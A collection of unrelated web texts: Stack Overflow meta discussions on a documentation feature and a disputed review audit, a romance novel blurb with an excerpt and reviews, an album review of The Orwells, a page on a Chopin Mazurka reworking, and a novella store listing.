There are some tags I think 1-to-1 would be really bad for. Simply as an example, we have database, database-design, database-schema, data-modeling, and relational-database. There is bound to be overlap. We need a structure which ensures we don't have competing topics related to different tags, resulting in some tags being incomplete, or contradictory information between related tags. Maybe topics could be associated with multiple tags? Or both tags and the documentation area could reflect hierarchies? – Jo Douglass Sep 1 '15 at 11:55
(Continued from above.) For instance, if the .NET tag were set as the parent of C# and VB.NET, then going to the .NET documentation would display the topics associated with .NET itself, but with the ability to get to the C# and VB.ET specific documentation as subcategories. Going directly to the C# documentation would just take you straight to the main C# documentation page. – Jo Douglass Sep 1 '15 at 11:58
@JoDouglass something I could have been clearer about is that not all [tag]s will get documentation, there will be a "switch" (exact details TBD, maybe something Area 51-ish; maybe just a critical mass of Q&A). Things like [database-design] probably don't get docs, that content is better in DB-specific tags. I don't really think listing Topics is a terribly interesting feature, because there will be so many of them. Much more interesting is mining cross-links for relatedness, bubbling that up in search (and perhaps some navigation...) because the sets are much smaller. – Kevin Montrose♦ Sep 1 '15 at 15:35
@JoDouglass I think there's a meta-point here which is that "hierarchies are never perfect, and the way people navigate these imperfect hierarchies is through Google searches." If this is true (and I really believe it is) then burning effort on hierarchies is something of a waste; we're best going with the simple things that have immediate use. – Kevin Montrose♦ Sep 1 '15 at 15:37
@KevinMontrose That's fair, but I hope an open mind is kept during beta and after go-live as feedback is received. I definitely click through tree views and the like in documentation elsewhere, but maybe I wouldn't if good quality "related topics" links were available. I am still concerned about information being duplicated (and potentially inconsistent) in multiple Topics. – Jo Douglass Sep 1 '15 at 15:49
@KevinMontrose As far as which tags get documentation - I hope it's not ultimately related to Q&A count. As I've said in a comment elsewhere, there are quiet tags which I suspect suffer from the fact that SO doesn't look like a good source of information for that tag, so people don't sign up and ask questions about them - documentation could drive usage. There are quiet tags that suffer from a high percentage of fairly similar "newbie" type questions which it'd be great to pre-empt with documentation. Completely get focusing on high activity tags first, though. Thanks for the replies! – Jo Douglass Sep 1 '15 at 15:56
@JoDouglass We'll have to triangulate on the rules, since we just don't know enough believe anything we say now will last. I don't have my heart set on any particular approach, just a bunch of ideas for things that are worth exploring. A hard Q&A count does have problems though, I agree. What I'm imaging when a say "critical mass of Q&A" is some amalgamation of all Q&A activity along with a time window; so questions, answers, voting, # of users, total reputation, etc. within some period of time. – Kevin Montrose♦ Sep 1 '15 at 16:02
Language. Each language is a silo, totally split off from the others. I'm not sure if I agree here. What if we need to have some examples / documentation on how to wire different technologies together? Or in general for some integrational stuff. From my opinion, especially on this topic some good, well-funded examples would make sense as even with good official 'onboard' documentation for the single systems / silos, the wiring gets complicated pretty fast. Plus, this is a field where experience is very valuable. With silos, we could not benefit from that experience though SO user have it. – bully Sep 7 '15 at 16:39
ONE FORMAT
I have a dream, I dream of ONE format, just one format across different languages...visually and meaningfully one format please.
I am tired of wasting time on differences in the format.
(Or at least we can start by including documentation on HOW TO READ specific documentation)
OlegOleg
Humorously, when I was doing research on this I came to hate every new format I ran into for documentation. Like, 1/2 the world uses javadocs-style three frames; the other 1/2 invents weird combinations of columns and tree views. It's so frustrating moving between different documentation sources. I'm not trying to sell consistency as a win mostly because that assumes we take over a lot of documentation, which is not a given; but if we get there it's a big win for everyone. – Kevin Montrose♦ Aug 31 '15 at 22:39
I should add that we have considered the case where the styling is the point of the documentation, in particular for css frameworks like bootstrap. It's not cut and dry across the board, for a large part of the documentation world, consistent presentation is a huge win. – Nick Larsen♦ Sep 1 '15 at 1:39
@NickLarsen I totally agree about the styling but want to remark the meaningfully one format. It's a tougher task to harmonize e.g. how and where optional arguments (to a function) should be listed across Python and Java. Let's not talk about man pages... – Oleg Sep 1 '15 at 20:46
Beware of xkcd.com/927 though, which is where all of the previous ONE FORMAT dreams have ended up. – amalloy Sep 3 '15 at 20:09
@amalloy That's a good one! Well, I hope that at least we can have a reference in one place on how to read all those formats :) – Oleg Sep 3 '15 at 20:42
@KevinMontrose one format is a great thing. If we are about style of visual representation then it will be great to have ability to select themes (and to modify or build own themes) in profile settings. In perfection we should have the ability to change view of each language or tool documentation representation. It would be the great feature. – Mikl Sep 10 '15 at 2:46
@KevinMontrose on other hand, one format, if it means terminology is hardly achievable, because every language can put different meaning to the same terminology. In this case, we should be able see all the meanings of concrete word in different languages(platforms,systems,tools and etc). And more over, terminology must be the vital part the beginning of each documentation – Mikl Sep 10 '15 at 2:56
Some thoughts, mostly related to the tags I am most active in, but I think they are fairly generic.
I think the documentation format should have more structure than what is currently presented. Otherwise, it's not much better than the "Share your knowledge - Q&A style" option where you answer your own question immediately.
For example, take the tags algorithm, data-structures and any programming language. You can have algorithms in pseudocode, you can rarely fully separate the algorithm from the data structure, and then you'll also have implementations in each language.
In this case, and probably others, there should be a way to link documentations. If you read the documentation for a Binary Search Tree for example, I think you should only read about it in pseudocode initially, but have links to implementations in various languages that users have contributed. Something like "Available implementations (according to your tags / according to popularity): ... | Browse all".
So I would add more structure, not just "Examples" and "Remarks". Perhaps:
Topic: the topic documented, for example: "C++ iterators", "C# Lists" etc.
Parent topic: make the documentation hierarchical, so it reads like a book and it is easier to find stuff if you're not exactly sure about keywords. Have a table of contents. For example, "C# Lists" might have "C# Containers" as a parent topic.
Child topics: "C# Containers" can also talk about dictionaries, hashsets etc. This should all be displayed clearly somewhere, perhaps at the bottom, so it doesn't obscure the gist of the documentation.
Related topics:, or Suggested topics for you:, or both. I'm thinking something dynamic. If I'm very active in the C++ tag and I'm reading about Python lambdas, suggest that I give feedback about the C++ counterpart. If I'm only so-so active in C++, suggest that I might find the C++ documentation for lambdas useful as well. What I mentioned at the beginning about algorithms and programming languages can also go here: "BST in Python" should not be a subtopic of "BST" or of "Datastructures in Python". I would introduce entities called "Proofs of concepts", where a certain concept is demonstrated by a minimal working example. This would be separate from examples, in that you would need to provide a fully working program with the minimum requirements for running it. In an example, you would only provide snippets.
For example, "Creating a database using Entity Framework Code First". This would be a proof of concept, and something separate. Entity framework can be talked about conceptually at first, and this linked to. Don't mix too much code with the theory: a little is fine, more can be posted in a separate place dedicated to runnable code.
Documentation body: I would leave this free form mostly, not everything has syntax or performance. Have guides about what should go here, but leave it a huge textbox for people to enter the actual documentation in. The good content will eventually bubble up to the surface.
A way for good content to bubble up. Make a staging area for people wanting to contribute to documentation. I should be able to comment on what currently exists for a topic, or even suggest something entirely new, not just edit it. What if two people come up with very good documentations, but quite different ones, for the same topic? Upvotes should decide which is the better one. I'm not sure how to approach this exactly, but maybe have some "verified" status for something that has been approved as the final form (which can still be edited, just not changed dramatically) and "Subject to change" for something that is still being debated.
IVladIVlad
Hierarchy is hard. We've found this with tags, is the appropriate hierarchy for List; Containers > List, or Enumerables > List, or Enumerables > Containers > List, or Enumerable > Writable Containers > List, or .... A flat hierarchy kills all debate. Related Topics is definitely a thing we need though; I think cross-linking can serve as an adequate substitute for hierarchy, especially if we build with search in mind (something we did a poor job of with the original SO beta). – Kevin Montrose♦ Aug 31 '15 at 22:47
Documentation body is, I think, just Remarks with a different name. It's free form, completely unstructured (unlike the other sections). We entirely intend for people to able to suggest new Topics; we aren't going to restrict unprivileged users just to edits, though naturally someone will have to review their submissions. We do intend for drafts of Topics (new or edited) to be sharable before submission for formal review. – Kevin Montrose♦ Aug 31 '15 at 22:51
Rosetta Code is a place that lists such alogoritms, even in Forth. – Peter Mortensen Sep 1 '15 at 18:31
One of my questions is whether documentation can be done well without hierarchy. I would think the hierarchy would be very specific to each technology. And whether a community-driven environment can produce high quality, consistent hierarchies. – xdhmoore Sep 4 '15 at 0:08
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Why did I fail an audit once again?
I came across this question (How to fix this app:transform Dex With Instant Run Slices Apk For Debug?) in the first post review which was used to test me.
It contains the question once in the title and twice in the same words in the body, and a very huge stacktrace. That's why I've voted to close the question as "Too broad", and I failed the audit.
Even if my Java knowledge is a bit outdated, this looks pretty broad to me: the problem statement looks pretty broad to me, contains only very little information about the setup, no code. After all, even if it has attracted 13 upvotes, it should have been closed earlier, or not used for audits after all.
Having failed some other (IMHO disputable) audits in between, the current ban is eight days. I start to question that process more and more. Yes, that might be a legit process to stop people that "abuse" the system, but it also offends the ones that want to contribute to Stack Overflow in this way.
As I've asked some times already: is there a way to inspect the list of failed audit questions (not just the most recent one)? I'd like to see if there is anything I could learn from this, or whether this is only pure annoyance.
discussion review-audits disputed-review-audits review-suspension
Yvette Colomb
Nico HaaseNico Haase
The audit in question – Cerbrus May 10 '19 at 13:53
Can you please narrow down the question, please? Are you asking for this audit to be removed from the audit pool? To lift the audit ban? To see if there is a way to see failied review audits? – yivi May 10 '19 at 13:53
What action did you take that caused you to fail this audit? – Cerbrus May 10 '19 at 13:53
I would advise to filter the review queues to tags you are very famiilar with. It makes this kind of thing much less likely. – yivi May 10 '19 at 13:54
@yivi thanks for additional questions. I'd love to get the opinion of others about that special question (is it wrong that I voted to close it?), and about it being a legit audit question – Nico Haase May 10 '19 at 13:55
In my experience, it's very, very easy to sniff out audits in tags if you are filtering by tags you are very familiar with. – yivi May 10 '19 at 13:59
Typical audit case, the machine picks a very popular Q+A (50 helpful votes for this one) and when you want to kill it then it assumes you didn't look. You have to stop and look, like the audit says, or you'll just keep failing them over and over again. – Hans Passant May 10 '19 at 14:00
"Identifying audits" is part of the proof you are paying enough attention, generally speaking. Audits are maybe more an attention test than a "choose wisely" test. If you filter by tags, you'll have an easier way. Or don't, and continue tripping with these cases. – yivi May 10 '19 at 14:06
There isn't anything wrong with the question. Build tools failing for inscrutable reasons is a too common mishap, it gets popular when it happens to a lot of other programmers and they can easily google the stack trace content. Meat and potatoes of Q+A and a gold mine to anybody that suffered the same fate. – Hans Passant May 10 '19 at 14:06
The question received several downvotes and close votes since you brought it up. Whatever happens with the question later on, it's not likely to appear in the audit pool again. – yivi May 10 '19 at 14:11
I know that I can follow the link, but still it looks like tricking for me that I should perform one action to succeed the audit (even if that action looks wrong to me) and another action in another tab to perform what I think I should do (vote to close the question), but are not able to do during the audit – Nico Haase May 10 '19 at 14:20
The worst part of this really bad audit question is that the answer is a direct cut and paste from the answer to another question. I've flagged it for moderator attention. I must say I'm at a loss as to how either the question or answer got so many upvotes... – Nick May 11 '19 at 2:32
@Nick as an Android app developer who uses Android Studio, Gradle, its build tool and how it easily breaks with every major update, I wasn't surprised it received many upvotes... – Andrew T. May 11 '19 at 8:09
@AndrewT. obviously I need to learn about Gradle and answer questions. I dream of getting 38 upvotes on an answer! :-) – Nick May 11 '19 at 8:12
Even is that question isn't that good, why do people still vote for it after following the link from the question, image you are the OP of that question, and you suddenly receive a lot of downvotes, without knowing whats going it, how would you feel, all those drive by downvotes are really unfriendly – Ferrybig May 13 '19 at 11:58
That's a trash question that contains pretty much nothing but a backtrace and most of the exception text. Unfortunately the text near the end that could conceivably uniquely identify the problem has cut off.
You are right and the audit mechanism is wrong. That question is now being blasted from meta effect.
A month since this posting, a serious attempt has been made at fixing this question. To fully understand how bad the audit was, see this revision. I will not be able to make a serious attempt at assessing the question after its modifications.
I've got to echo Hans's comment questioning whether this is really a "trash question". It's certainly poorly asked and could be improved by editing, but judging by the votes, lots of people with exactly the same build tool failure were able to find and understand it despite its sloppiness and were helped by its answer. I'm not going to touch it since I'm not an Android guy, but it looks to me like what it really needs is not closure but rather an edit by someone familiar with Android to add in some actual sentences coherently explaining what triggers this error and in what circumstances. – Mark Amery May 13 '19 at 11:29
@MarkAmery: I wouldn't have voted to close if so much as the exception text wasn't cut off. If the problem's that easily found the question is easy to fix but noone does so. – Joshua May 13 '19 at 13:55
Again, I'm not an Android guy and I may be wildly wrong, but I guess that the exception text is cut off because that's exactly how the build tools output it. Even if it's theoretically possible to use a forked version of the tools to get a less crappy traceback out when they crash, that would be entirely the wrong thing to do if it's not representative of the error that actual users of the tools will see. If the real-world build-time crash that people see emits only a crappy truncated traceback, then that crappy truncated traceback is what belongs in the Stack Overflow question about it. – Mark Amery May 13 '19 at 14:00
@MarkAmery Confirmed. The OP hasn't cut it off, that's just a normal JVM stacktrace cutoff. The most important bit of the trace is the first few lines anyway. – James Riordan Jun 11 '19 at 13:07
I've tried to edit it a bit to make it a little more readable, but so far have struggled to make it make a lot of sense. – James Riordan Jun 11 '19 at 13:10
@JamesRiordan I think one particularly valuable thing to add that's currently missing is when and where the error appears. I'm not even sure, reading without context, whether it's a run-time error (i.e. the app launches, then crashes when you try to use some particular feature in it, and spits out the error shown) or a compile-time error (i.e. you hit the "run" button in Android Studio, it starts trying to compile the app, but the compilation fails and spits out the error shown in some pane in Android Studio somewhere). Just clarifying that, while not all there is to do, would be a good start. – Mark Amery Jun 11 '19 at 13:21
@JamesRiordan I can easily imagine a version of the question that reads "I have an Android app I am writing using version X of Android Studio, version Y of Gradle, and version Z of [whatever other relevant tools]. When I do [something], the app [does/does not] launch and then I see this error [somewhere]:" followed by the traceback. That version of the question, I think, would not have been a magnet for close votes. But I can't transform the question into that state myself, because I don't have the Android knowledge needed to populate any of the placeholders in the template I just wrote. – Mark Amery Jun 11 '19 at 13:25
@JamesRiordan (Even better would be a version that also has short step-by-step instructions to create a minimal app that reproduces this error - but I'm not sure whether that's something you'd be able to provide.) – Mark Amery Jun 11 '19 at 13:28
@MarkAmery I can't edit this because I can't get rid of the error reading: 'It looks like your post is mostly code; please add some more details.' I've tried adding lots more detail, but I ultimately can't save my edits. Can I have moderator intervention to be able to edit this? – James Riordan Jun 12 '19 at 14:10
@JamesRiordan Oh, boy. Those post quality filters have a history of occasionally being, uh, a tad problematic. I don't think they're any more forgiving for some users than others, unfortunately. Reckon you could quote what you want to edit the question to in an answer here (or, uh, on pastebin or something if the system won't even let you do that) and I'll see if I can find a way to tweak it so it gets past the quality filter? – Mark Amery Jun 12 '19 at 14:19
So this is a good deal better: pastebin.com/i4Jq5613, but I can't do much more without more info of what the OP was doing. I'm struggling for a minimal example because, to be honest, I've no idea exactly why this happens. I just spent ages trying to fix it and left the answer here. – James Riordan Jun 12 '19 at 14:38
@JamesRiordan: If you're seeing it maybe you can correct or explain the cut-off path in the exception text. – Joshua Jun 12 '19 at 14:41
It's a standard JVM printout. The JVM cuts off long exception messages. – James Riordan Jun 12 '19 at 14:42
@JamesRiordan Apparently the quality filter discriminates based on the user's rep; you might not be able to make the edit you wanted to, but I can. I have implemented your changes. – Mark Amery Jun 12 '19 at 14:54
@JamesRiordan ... although it looks to me like you messed up some of the formatting of the traceback in the course of editing? I'll fix that. – Mark Amery Jun 12 '19 at 14:54
You've been unbanned from reviewing.
A question like that, with a stack trace dump and nothing else is usually failing to provide Minimal, Complete, and Verifiable example. It's not a good audit candidate.
Audit candidates are selected automatically. There's been tweaks to improve the audit selection. The best thing to do is either raise a mod flag or write a question here.
Yvette ColombYvette Colomb
It would be good to have a manual way to prevent posts being used as audits. – Yvette Colomb May 11 '19 at 3:59
There is: edit them. Or, you know, close and downvote them. – Cody Gray♦ May 11 '19 at 4:23
@CodyGray editing them doesn't remove them from the audit pool. – Yvette Colomb May 11 '19 at 5:58
@YvetteColomb It prevents them from being shouldn't be in an audit. – wizzwizz4 May 11 '19 at 20:08
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I do not understand why I failed this audit
Why was a question that didn't ask a question a review audit?
Question with downvotes used as “good” audit
Add Percentage-Based Factor to Audit Ban Criteria
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Tags Romance, Art, Ad Agency, Wine, Italy, Russian Mafia, Museum, Old cars, Billboards. Security guards, stalking
Riley Saunders has her dream job. As an art director at a leading advertising agency, she works every day with her two best friends, Stella and Birdie. All three have been assigned to ensure that the Grand Opening of the Peterson Art Museum is nothing short of a success.
When a girl’s night out at a hot new Italian restaurant ends with a spilled bottle of wine, it sets in motion a series of events that leaves Stella and Birdie caught up in whirlwind romances, and Riley fearing for her life at the hands of a deranged stalker. But, when the handsome museum curator, Trent Peterson, learns of her situation, he vows to keep her safe.
In a quick-paced tale of fine art, wine forgery, and the Russian Mafia, Riley and her friends soon discover their pursuit of love will require them to expose a crime, thwart a murder, and trust the one thing that has never failed them…their friendship.
Her eyes were drawn to a window table across the room. Riley recognized JB Edwards, but wasn't quite sure about the man seated with him. Oh Lord, I hope Stella doesn’t freak out when she sees JB. She could go weak in the knees, or worse yet, refuse to eat.
She saw Stella and Birdie approaching the table, both looked happy and carefree. Birdie's hair swung long and lovely, and Stella, of course, was about to pop a button from the center of her blouse.
Just as Birdie started to sit down, she glanced across the room.
Stella and Riley stared at Birdie.
"Who is that man with JB Edwards?" Her hands touched her flushed cheeks.
Stella glanced their way, and Riley could tell her mood changed spotting the object of her affection. "He’s a friend of JB’s, Federico Martinique of Martinique Wineries. We’ve done advertising for him. He loves good Italian cuisine and he’s probably trying out the new restaurant with JB for the same reasons we are."
Across the room a similar conversation was taking place. "JB, do you know who that vision of loveliness is at that table with those two other ladies?"
JB Edwards tried to glance without appearing to be staring, but he recognized all three as his employees. He wasn’t surprised to see them gearing up for a new campaign, but even he was a bit taken aback by them in this setting. Stella Mason rarely ever let her guard down and Birdie Orwell looked so different that he almost didn’t recognize her.
"Well, my friend,” he said. “I can tell you who they are, but I'm not sure which 'vision of loveliness’ you are referring too."
"That magnificent hair! That beautiful face! I must meet her!" exclaimed Federico.
JB called a waiter and whispered to him. The young man walked toward the ladies with his message.
“Excuse me, ladies, but the gentlemen at the window table request the honor of your company for dinner.”
Birdie’s face turned pink, obviously smitten. “I don’t know, girls. What do you think?” Stella absently ran her fingers through her hair.
“Let’s go,” said Riley.
“I…I’m not sure I can.” Birdie’s eyes were downcast, her face still flushed.
Riley stood with determination. “Let’s go, you big chickens. It’s time to live a little.” She started walking and the other two followed.
The young server led them into a more secluded area where they could dine without being disturbed by people passing by.
At a large round table, Stella sat to the right of JB, Riley on his left, leaving Birdie and Federico seated together.
An array of dishes, already being assembled for them, emitted a tantalizing aroma of marinara and calamari. Brochette bread covered with mozzarella cheese and plates of smoked salmon served with capers and cream cheese, all there to tempt their appetite.
“Ladies, this is my friend Federico Martinique. Federico, meet Riley Saunders, Birdie Orrwell, and Stella Mason. I believe you’ve met Stella at the office.”
“Yes, it’s good to see you again, Stella.” He shook hands with all three, but held Birdie’s hand while gazing her into eyes.
“Ahem.” JB politely cleared his throat.
JB ordered the wine and, of course, selected an FMartinique label for both the appetizer and main entree. When the waiter brought the wine and offered the cork to JB, he demurred and said, “My friend here is my guest, please let him test the wine.”
Federico smiled and went through the procedure of smelling the cork, swirling the wine after it was poured, sniffing it and then tasting. After a moment, he said, “Very nice, vine, planted in 1966, first wine pressed in 1971, and this particular bottle, if I am not mistaken is actually, August 15, 1999. Am I not correct?” The waiter looked dumbfounded and unsure how to reply. JB and Federico laughed at his confusion.
JB said to the waiter, “Sorry, my friend, but this is FMartinique, the man who bottled this wine.”
The waiter gave a smile of relief. “It is an honor to have you in our restaurant.” He then poured the wine and said he would return later to take their orders.
Federico grinned, then lifted his glass and said, "To new friends, good food, great wine.”
All lifted their glasses for the toast. Stella and Riley ‘ummmed’ at the taste of the wine.
“This is delicious, Federico.” Birdie took another sip.
“Thank you.” Federico tipped his glass toward her, his eyes lingering on her lips. The attraction between them was palpable to the others at the table.
The appetizers were especially good, the taste enhanced by the sparkling wine. Soon more waiters appeared with platters laden with a wide sampling of the menu choices. The sauces were superb. The cheeses, blended and melted into mouth watering delights, covered the pastas, breads, and dishes they could barely pronounce.
A little later, Stella put down her fork unable to eat another bite. She was listening to JB tell Federico a story about his latest fishing trip. JB raised his arm in a mock casting of a line, and in doing so, hit the wine bottle with his arm causing it to strike Stella's full glass. The contents of both poured all over the front of her clothes.
Stella gasped when the chilled liquid came in contact with her body, soaking through her white blouse and bra. JB jumped up, grabbed a cloth napkin and began dabbing at the rapidly spreading red stain. Then the inevitable happened. First one button then another popped from her blouse and landed in the middle of the table.
JB stood dumbfounded, staring at the lacy exposed bra. Stella snatched the napkin from his hand and covered herself. Her face was much redder than the spilled wine. Riley could no longer contain her laughter and was soon joined by Birdie. Stella looked at them and then at the stricken face of JB Edwards; she began to laugh herself. Tears ran down their cheeks. JB sat back down, relieved there would be no repercussions from his gaffe.
I had the pleasure of reading this book before its release. This debut novel by Le was a really fun read. It contained the best aspects of a contemporary romance--independent women, strong heroes, and a villain you will love to hate.
It all begins with a rather one-sided office romance. Stella is in love with her boss, J.B., but he doesn't see her as more than a secretary, or so she thinks. One night, she and her two coworkers/best friends, end up at the same Italian restaurant as J.B. and one of his clients. When J.B. notices them and waves them over, the ladies end up joining the men for the meal. Little do they know that a spilled glass of wine would set off a series of events that would change their lives. It's also quite a hilarious scene, but I'll let you find that out for yourself.
The story unfolds quickly from that point. Stella has caught J.B.'s eye, Birdie and J.B.'s Italian client are head-over-heels for each other, and Riley becomes the target of a serial stalker. From a whirlwind romance, to a trek across the Italian countryside, and even a run-in with the Russian mafia, these three friends wind up with a lot on their plates. They will have to rely on each other to unravel the mysteries behind each event...and to survive.
If you're a fan of contemporary romance, I highly recommend this book. The writing is crisp and clear, the plot is fast-paced, and though the end is succinctly wrapped up and satisfying, it remains ripe for a much-anticipated sequel. Grab your copy today!
The devil walks amhe's not some fork-tailed aberration. No (s)he looks like a normal person...MOST of the time...because the devil can hide behind the mask of normalcy. The devil so eloquently presented in this book is a serial destroyer of the victims who cross the devil's path because of possessive obsession, bordering on mania.
Leona Pence, creator of this intricate story HEMPHILL TOWERS defines evil so well the story often had me shaking in my nerve endings.
An evil obsessive one is terrifying enough to make a story intense when the demon has nothing more than living on the street wiles to fuel their insanity, but add money, position, and the ability to create enticing illusions...at first...takes scary into a whole new level of scary...SCARY in capital letters.
HEMPHILL TOWERS...I can't award this coming soon story less than FIVE STARS and be true to the effects it had on me during my reading of it. As one who spent many years the pinpoint focus of such a deranged demon, I can truthfully say Ms. Pence got it one hundred per cent right.
Sadly though, not all demons end up like Ms. Pence's does.
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The Orwells – Disgraceland Review
Oh haven’t you heard? The Orwells are the real deal. The saviours of rock n roll. Mario Cuomo is the new Robert Plant too. His hair is the same so it must be true. The Illinois group have been getting a lot of attention. Whether it’s been from Mario humping a speaker on Jools Holland or from his enlightening war of words with Alex Turner. The band the Monkeys were taking on tour with them have labelled the Arctic Monkey’s sets sounding the same and them being a commercial band. Though Turner’s response was frustratingly on the same level as The Orwells frontman, it’s probably a good thing that the Arctic Monkeys have a degree of commercial success and not The Orwells then. Perhaps they’d disown themselves? It’s a credit to any musician that they can have a decent sound and couple that with commercial success. Perhaps The Orwells are portraying their envy a little too well. Amongst all this and other well documented controversies; then you’d be forgiven for forgetting that they have an album out.
Disgraceland has been slowly drip feeding it’s tracks for nearly a year now and one of the early ones is ‘Who Needs You’. It’s a bouncy, energetic track with an unrelenting, well oiled and sprung rhythm and short and sharp percussion with the lead riff pouring over it and a screaming and throaty vocal tearing through it all. This review could have been given in 2010, 2004 or 2001 and what does it say that while The Strokes have long buried that sound, while being very proud of it’s legacy; that new and young bands are simply copying and pasting it upon themselves? The song is delivered with great precision and with all the controlled chaos of a Garage Rock Revival band, but with this track they are at the very back of a huge, long line of successors over the last thirteen years and god knows that we don’t need another, cheaper version when the premium brand has already been consumed. ‘Dirty Sheets’ is pretty much the same deal. Those screeching lead guitars shooting across the rhythm section along with the tumbling percussion. It then leads to the oh so typical back and forth rhythm which The Black Keys have decided to throw into the back heap of dross. Having a girl strip topless in the video is perhaps a realisation that no one is going to watch their video for the music, but it doesn’t escape from the fact that this track is decidedly threadbare and no amount of clothes shedding is going to change that. An act of compensatory factor? Probably…
‘The Righteous One’ is delivered well and the vocals combine well with the instrumentals which build up and bring down their sound to accommodate the verses and the vocals within them. All this song makes me want to do, however is listen to Jack White or one of his bands… funny that isn’t it? The broken up rhythm structure just sounds painfully familiar and outdated which is fine if you are a fan of the sound. I am too. But why listen to this faithful tribute when you could listen to the real thing from Jack White himself? He delivers and engages with the sound a hell of a lot better than The Orwells. Umm ‘Let it Burn’ is mind-numbing and humdrum recapitulation of things I’ve already said. I’m under no illusions that it wouldn’t be a fanatical experience live, but even then you’d have to be drunk out of your mind to appreciate it. Other tracks such as ‘Norman’ simply apply a rough edged, American vocal to a bland, monotonous guitar drone that sounds like it’s been taken from an unsuccessful Britpop group from the late 1990’s when everyone had packed up and left British music in the hands of Travis and Coldplay… we head to ‘North Ave.’ where we see how not to emulate Pete Doherty with a Nick Valensi riff… The album tracks have none of the energy and conviction of the singles and so they become even more of a painfully bland experience. Their energy and faithful tribute to much better and profound artists is perhaps one of the only positives I can scavenge from this album. The sweet irony of this is that behind all the forced bravado and propaganda against more ‘commercial’ bands; they wouldn’t have a band without them. These bands are The Orwells and no amount of two finger gestures at them is going to alter the fact that they are ripping them off. If you want to buy into their transparent ‘truths’ then fine, but this band were well past their sell by date before they even left the shelves.
The Orwells – Disgraceland = 4/10
Image from www.nme.com / belowthefoldblog.com
Filed Under: Uncategorized Tagged With: Alex Turner, Chicago, Dirty Sheets, Disgraceland, Illinois, Jack White, Mario Cuomo, Pete Doherty, The Black Keys, THE ORWELLS, The Strokes, Who Needs You
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Single Review – Lana Del Rey – Shades of Cool »
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FILE PHOTO: Democratic presidential candidate Senator Elizabeth Warren speaks as she visits a picket line of striking teachers in Chicago, U.S. October 22, 2019. REUTERS/Joshua Lott/File Photo
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Mazurka - remaking Chopin
Chopin’s Mazurkas meets the Balkan / Gypsy orchestra instrumentation in a surrealistic but respectful way. Nils Henrik Asheim, piano, with Gjertruds Sigøynerorkester (Gjertrud's Gypsy Orchestra).
The live project was premiered at Bergen International Festival, May 30th 2009.
The Mazurka CD, rated by Norwegian Broadcasting as one of the top 10 classical recordings of the year, appeared on Lawo Classics in Sept 2010 - the Frederic Chopin 200 anniversary year. Short audio sample. Release tour 27sep - 01oct 2010 went to Norway/Sweden/Denmark/Germany. Les: releaseturné sept/okt 2010
Recording made on the fabulous, restored 1820 Collard & Collard piano at Ulefoss Hovedgård.
About "Mazurka - remaking chopin"
The Mazurkas occupy a special position in Frédéric Chopin’s work. They have the distinct rhythm and the edgy tunes of folk music, clothed in raw, beautiful and radical harmony. This inspired composer and pianist Nils Henrik Asheim to read Chopin’s music through the sound of a Gypsy orchestra - taking the classical music back towards the dance floor, so to speak. And: towards the outer boundaries of contemporary sound improvisation.
This may seem like a daring approach. But actually, there is already a clash of cultures in the Mazurkas. Often, a folk-like main part is followed by a more salon-like, classical interlude. Chopin sometimes dissolves his own tune by transposing it chromatically or leaving the end of phrases somehow unfinished, creating a magic and mystical atmosphere - rather the opposite of what you would expect from dance music.
In Asheim and the Gjertrud Gypsy Orchestra’s re-interpretation, the original piano versions drift in and out of the music, into full-blood Gypsy or Balkan-sounding parts, exploring the expressive potential of Chopin’s beatiful tunes. On the other end of the scale, the music dives into intriguing, experimental contemporary sound effects sometimes sounding like a film score.
The project was elaborated through a commission grant from the Norwegian Cultural Council, and a collaboration spanning more than one year between the Gypsy Orchestra and Asheim. Mazurka had its premiere for a sold-out house at the prestigious Bergen International Festival in May 2009.
In September 2010, the “Mazurka - remaking Chopin” CD was released on Lawo Classics. It was recorded in the 19th century mansion of Ulefoss in East Norway, on a historic Collard & Collard piano from Chopin’s own time. The Norwegian press has been unison in its praise, Norwegian Broadcasting rated it among the top 10 classical recordings of the year and finally the CD was nominated for Spellemannsprisen (Norwegian Grammy).
The programme is colourful and varied, and therefore suitable for many types of audiences. It can be presented in different lengths - The full version is a concert of 35+30 minutes.
Nils Henrik Asheim (pianist, composer)
Nils Henrik Asheim is known as one of Norway’s most prolific and acclaimed composers, also as an innovative improviser on the organ and piano. He appeared in public as a composer for the first time at the age of 15. In 1978 he was awarded European Broadcasting Union’s Rostrum-prize. He got his education from The National Norwegian Music Academy in Oslo and Sweelinck Conservatory, Amsterdam. His works are performed widely internationally.
Gjertrud’s Gypsy Orchestra
The Orchestra is since 1989 specializing in Eastern European Gypsy Music from Russia, Rumania and, first of all, Hungary. The group have learnt the music directly from Gypsy musicians in Budapest. They have toured all Norway, appeared in radio and TV shows, in a number of festivals and released several CD’s. The Orchestra receives a grant from the Norwegian Cultural Council. The excellent Hungarian musician Ernest Bangó, known from his collaboration with Roby Lakatos, has now replaced Lá́szló Rácz as the group’s cimbalom player.
Musicians of the Gypsy Orchestra:
Gjertrud Økland (violin)
Georg Reiss (clarinet, tárogató)
Tom Karlsrud (accordeon)
Pål Thorstensen (double bass)
Trond Villa (viola)
Helene Waage (cello, celtic harp)
Ernest Bangó (cimbalom)
www.gjertruds.no
www.nilshenrikasheim.no
Contact: This email address is being protected from spambots. You need JavaScript enabled to view it. / +47 951 49 855
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Parallel Larry
by Jacqueline Rohrbach
Larry’s search for love didn’t include Greg, his regular waiter at his favorite restaurant. Always too busy daydreaming about a handsome doctor, Larry fails to notice Greg’s shy advances. But when Greg finally finds the courage to ask Larry out, he’s suddenly killed in a freak car accident. Only then does Larry realize how perfect they could have been together.
No one gets a second shot at true love. Or do they?
Inexplicably, Larry is drawn into a parallel reality, and in this new timeline, Greg is still very much alive. Here, the shy young waiter Larry knew from before has managed to live out many of his dreams. All except one: he hasn’t found love. Larry gets one more shot after all!
There are a few problems. One, Larry’s time is limited. Two, Greg has already dated the parallel reality’s Larry, and he was a real jerk. Now Larry has to prove he’s nothing at all like his evil doppelganger and that he is willing to risk everything to protect the man he loves.
He’s found Greg again. To keep him, Larry will have to stop daydreaming and fight himself—literally—not just metaphorically.
Parallel Larry quantity
Categories: _New Releases, Cisgender, Gay, Jacqueline Rohrbach, MM, Non-Explicit, Novella, Romance, Sci-Fi & Fantasy Tags: alt universe, artist, dating abuse, second chance, stalking, sweet, vet
Author: Jacqueline Rohrbach
Book Length: Novella
Pairing: MM
Orientation: Gay
Identity: Cisgender
Warning: Graphic violence; death of a character
Jacqueline Rohrbach © 2019
